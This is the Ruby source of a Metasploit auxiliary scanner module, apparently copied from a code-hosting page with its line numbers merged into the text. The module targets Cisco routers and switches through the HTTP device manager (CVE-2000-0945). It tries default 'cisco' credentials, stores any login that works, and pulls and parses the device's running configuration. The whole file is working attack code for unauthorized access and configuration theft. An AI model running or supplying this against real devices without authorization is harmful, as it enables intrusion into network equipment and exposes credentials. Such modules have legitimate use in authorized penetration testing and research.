Path: blob/master/modules/auxiliary/scanner/http/cisco_device_manager.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67# Exploit mixins should be called first8include Msf::Exploit::Remote::HttpClient910# Include Cisco utility methods11include Msf::Auxiliary::Cisco1213# Scanner mixin should be near last14include Msf::Auxiliary::Scanner1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Cisco Device HTTP Device Manager Access',21'Description' => %q{22This module gathers data from a Cisco device (router or switch) with the device manager23web interface exposed. The HttpUsername and HttpPassword options can be used to specify24authentication.25},26'Author' => [ 'hdm' ],27'License' => MSF_LICENSE,28'References' => [29[ 'BID', '1846'],30[ 'CVE', '2000-0945'],31[ 'OSVDB', '444'],32],33'DisclosureDate' => '2000-10-26',34'Notes' => {35'Reliability' => UNKNOWN_RELIABILITY,36'Stability' => UNKNOWN_STABILITY,37'SideEffects' => UNKNOWN_SIDE_EFFECTS38}39)40)41register_options(42[43OptString.new('HttpUsername', [true, 'The HTTP username to specify for basic authentication', 'cisco']),44OptString.new('HttpPassword', [true, 'The HTTP password to specify for basic authentication', 'cisco'])45]46)47end4849def run_host(ip)50res = send_request_cgi({51'uri' => "/exec/show/version/CR",52'method' => 'GET'53}, 20)5455if res and res.code == 40156print_error("#{rhost}:#{rport} Failed to authenticate to this device")57return58end5960if res and res.code != 20061print_error("#{rhost}:#{rport} Unexpected response code from this device #{res.code}")62return63end6465if res and res.body and res.body =~ /Cisco (Internetwork Operating System|IOS) Software/66print_good("#{rhost}:#{rport} Successfully authenticated to this device")67store_valid_credential(user: datastore['HttpUsername'], private: datastore['HttpPassword'])6869# Report a vulnerability only if no password was specified70if datastore['HttpPassword'].to_s.length == 07172report_vuln(73{74:host => rhost,75:port => rport,76:proto => 'tcp',77:name => self.name,78:info => "Module #{self.fullname} successfully accessed http://#{rhost}:#{rport}/exec/show/version/CR",79:refs => self.references,80:exploited_at => Time.now.utc81}82)8384end8586res = send_request_cgi({87'uri' => "/exec/show/config/CR",88'method' => 'GET'89}, 20)9091if res and res.body and res.body =~ /<FORM METHOD([^\>]+)\>(.*)/mi92config = $2.gsub(/<\/[A-Z].*/i, '').strip93print_good("#{rhost}:#{rport} Processing the configuration file...")94cisco_ios_config_eater(rhost, rport, config)95else96print_error("#{rhost}:#{rport} Error: could not retrieve the IOS configuration")97end9899end100end101end102103104